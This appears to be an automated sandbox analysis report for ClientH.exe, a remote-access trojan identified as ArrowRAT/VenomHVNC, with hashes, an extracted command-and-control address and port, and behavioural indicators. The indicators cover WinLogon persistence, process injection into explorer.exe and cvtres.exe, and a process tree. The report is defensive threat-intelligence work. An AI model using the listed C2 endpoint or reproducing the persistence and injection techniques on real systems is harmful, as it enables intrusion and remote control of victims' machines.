Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
28-07-2023 23:48
Behavioral task
behavioral1
Sample
ClientH.exe
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
ClientH.exe
Resource
win10v2004-20230703-en
General
-
Target
ClientH.exe
-
Size
90KB
-
MD5
5558467d200c00a5acab51d4a9ca98dd
-
SHA1
f9d50c3556451b056deb0950b6bdd4c3ecbb570f
-
SHA256
213452a323be1617cfa62abeae43d873bec1e5c740aa2177e157a9772a92f231
-
SHA512
80167cbf7301726ef6a1fd8f2c91db4076f5f5c869338953b1dacc88bf7f82e7caadabbbf32ecda3327c1be4c9da2477a198123a9ac1acf114f03c64bada3921
-
SSDEEP
1536:ebRiQMhQ57SK3bUzZdQ1iIMvnZlbLxjV3AGq5gWlocT1wzySsd9NJ33p:ebRF57SKsstcnZTJQDgWPaySsdH5Z
Malware Config
Extracted
arrowrat
VenomHVNC
185.183.35.122:4448
GHAEYKXuf.exe
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
Processes:
ClientH.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-1014134971-2480516131-292343513-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Roaming\\PRtaDfZk\\PRtaDfZk" ClientH.exe -
Modifies Installed Components in the registry 2 TTPs 1 IoCs
Processes:
explorer.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1014134971-2480516131-292343513-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
ClientH.exedescription pid process target process PID 1684 set thread context of 1688 1684 ClientH.exe cvtres.exe -
Modifies registry class 5 IoCs
Processes:
explorer.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1014134971-2480516131-292343513-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-1014134971-2480516131-292343513-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Key created \REGISTRY\USER\S-1-5-21-1014134971-2480516131-292343513-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-1014134971-2480516131-292343513-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-1014134971-2480516131-292343513-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff explorer.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
ClientH.exepid process 1684 ClientH.exe -
Suspicious use of AdjustPrivilegeToken 12 IoCs
Processes:
ClientH.exeexplorer.exedescription pid process Token: SeDebugPrivilege 1684 ClientH.exe Token: SeShutdownPrivilege 1708 explorer.exe Token: SeShutdownPrivilege 1708 explorer.exe Token: SeShutdownPrivilege 1708 explorer.exe Token: SeShutdownPrivilege 1708 explorer.exe Token: SeShutdownPrivilege 1708 explorer.exe Token: SeShutdownPrivilege 1708 explorer.exe Token: SeShutdownPrivilege 1708 explorer.exe Token: SeShutdownPrivilege 1708 explorer.exe Token: SeShutdownPrivilege 1708 explorer.exe Token: SeShutdownPrivilege 1708 explorer.exe Token: SeShutdownPrivilege 1708 explorer.exe -
Suspicious use of FindShellTrayWindow 31 IoCs
Processes:
explorer.exepid process 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe -
Suspicious use of SendNotifyMessage 20 IoCs
Processes:
explorer.exepid process 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe 1708 explorer.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
ClientH.exeexplorer.exedescription pid process target process PID 1684 wrote to memory of 1708 1684 ClientH.exe explorer.exe PID 1684 wrote to memory of 1708 1684 ClientH.exe explorer.exe PID 1684 wrote to memory of 1708 1684 ClientH.exe explorer.exe PID 1684 wrote to memory of 1708 1684 ClientH.exe explorer.exe PID 1684 wrote to memory of 1688 1684 ClientH.exe cvtres.exe PID 1684 wrote to memory of 1688 1684 ClientH.exe cvtres.exe PID 1684 wrote to memory of 1688 1684 ClientH.exe cvtres.exe PID 1684 wrote to memory of 1688 1684 ClientH.exe cvtres.exe PID 1684 wrote to memory of 1688 1684 ClientH.exe cvtres.exe PID 1684 wrote to memory of 1688 1684 ClientH.exe cvtres.exe PID 1684 wrote to memory of 1688 1684 ClientH.exe cvtres.exe PID 1684 wrote to memory of 1688 1684 ClientH.exe cvtres.exe PID 1684 wrote to memory of 1688 1684 ClientH.exe cvtres.exe PID 1708 wrote to memory of 2996 1708 explorer.exe ctfmon.exe PID 1708 wrote to memory of 2996 1708 explorer.exe ctfmon.exe PID 1708 wrote to memory of 2996 1708 explorer.exe ctfmon.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\ClientH.exe"C:\Users\Admin\AppData\Local\Temp\ClientH.exe"1⤵
- Modifies WinLogon for persistence
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1684 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"2⤵
- Modifies Installed Components in the registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1708 -
C:\Windows\system32\ctfmon.exectfmon.exe3⤵PID:2996
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC 185.183.35.122 4448 GHAEYKXuf.exe2⤵PID:1688
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1684-54-0x0000000074620000-0x0000000074D0E000-memory.dmpFilesize
6.9MB
-
memory/1684-55-0x0000000001300000-0x000000000131C000-memory.dmpFilesize
112KB
-
memory/1684-71-0x0000000074620000-0x0000000074D0E000-memory.dmpFilesize
6.9MB
-
memory/1688-64-0x0000000000400000-0x0000000000410000-memory.dmpFilesize
64KB
-
memory/1688-68-0x0000000073820000-0x0000000073F0E000-memory.dmpFilesize
6.9MB
-
memory/1688-59-0x0000000000400000-0x0000000000410000-memory.dmpFilesize
64KB
-
memory/1688-60-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmpFilesize
4KB
-
memory/1688-62-0x0000000000400000-0x0000000000410000-memory.dmpFilesize
64KB
-
memory/1688-58-0x0000000000400000-0x0000000000410000-memory.dmpFilesize
64KB
-
memory/1688-67-0x0000000000400000-0x0000000000410000-memory.dmpFilesize
64KB
-
memory/1688-56-0x0000000000400000-0x0000000000410000-memory.dmpFilesize
64KB
-
memory/1688-69-0x0000000004A70000-0x0000000004AB0000-memory.dmpFilesize
256KB
-
memory/1688-73-0x0000000004A70000-0x0000000004AB0000-memory.dmpFilesize
256KB
-
memory/1688-57-0x0000000000400000-0x0000000000410000-memory.dmpFilesize
64KB
-
memory/1688-72-0x0000000073820000-0x0000000073F0E000-memory.dmpFilesize
6.9MB
-
memory/1708-70-0x0000000003FE0000-0x0000000003FE1000-memory.dmpFilesize
4KB
-
memory/1708-74-0x0000000003FE0000-0x0000000003FE1000-memory.dmpFilesize
4KB
-
memory/1708-78-0x0000000002770000-0x0000000002780000-memory.dmpFilesize
64KB